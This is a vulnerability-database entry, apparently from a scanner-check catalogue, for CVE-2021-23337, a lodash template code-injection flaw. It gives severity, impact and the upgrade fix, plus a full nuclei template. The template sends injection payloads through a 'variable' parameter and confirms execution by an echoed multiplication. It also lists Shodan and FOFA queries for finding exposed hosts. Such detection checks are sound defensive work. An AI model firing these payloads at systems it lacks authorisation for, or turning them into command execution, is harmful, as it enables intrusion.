HexBrain

Browse / CVEs / CVE-2021-23337

CVE-2021-23337· lodash / lodash· CWE-94

Lodash Template - Server-Side Template Injection (RCE)

highseverity
7.2CVSS score
20.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

Impact

Attackers can execute arbitrary commands on the host system, leading to full system compromise.

Fix

Update to version 4.17.21 or later.

How to confirm it

Send: POST /template
Positive when: contains "{{to_number(randA)*to_number(randB)}}" AND status 200
Send: GET /render?tpl=hello&variable=)%7Breturn+String({{randA}}*{{randB}})%7D%3Bwith(obj
Positive when: contains "{{to_number(randA)*to_number(randB)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2021-23337 -u <target>

The full check
id: CVE-2021-23337

info:
  name: Lodash Template - Server-Side Template Injection (RCE)
  author: DhiyaneshDk
  severity: high
  description: |
    Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
  impact: |
    Attackers can execute arbitrary commands on the host system, leading to full system compromise.
  remediation: |
    Update to version 4.17.21 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23337
    - https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724
    - https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c
    - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-23337
    cwe-id: CWE-94
    epss-score: 0.20158
    epss-percentile: 0.9748
  metadata:
    verified: true
    max-request: 2
    vendor: lodash
    product: lodash
    shodan-query: http.component:"lodash"
    fofa-query: body="lodash"
  tags: cve,cve2021,lodash,ssti,rce,nodejs,javascript,vkev

flow: http(1) || http(2)

variables:
  randA: "{{rand_int(1000, 9999)}}"
  randB: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /template HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"template":"<%= name %>","variable":") { return String({{randA}}*{{randB}}) }; with(obj","data":{"name":"test"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(randA)*to_number(randB)}}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: eval_result
        regex:
          - "[0-9]+"

  - raw:
      - |
        GET /render?tpl=hello&variable=)%7Breturn+String({{randA}}*{{randB}})%7D%3Bwith(obj HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(randA)*to_number(randB)}}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: eval_result
        regex:
          - "[0-9]+"

References

Use this check only on systems you are authorised to test. Where the data comes from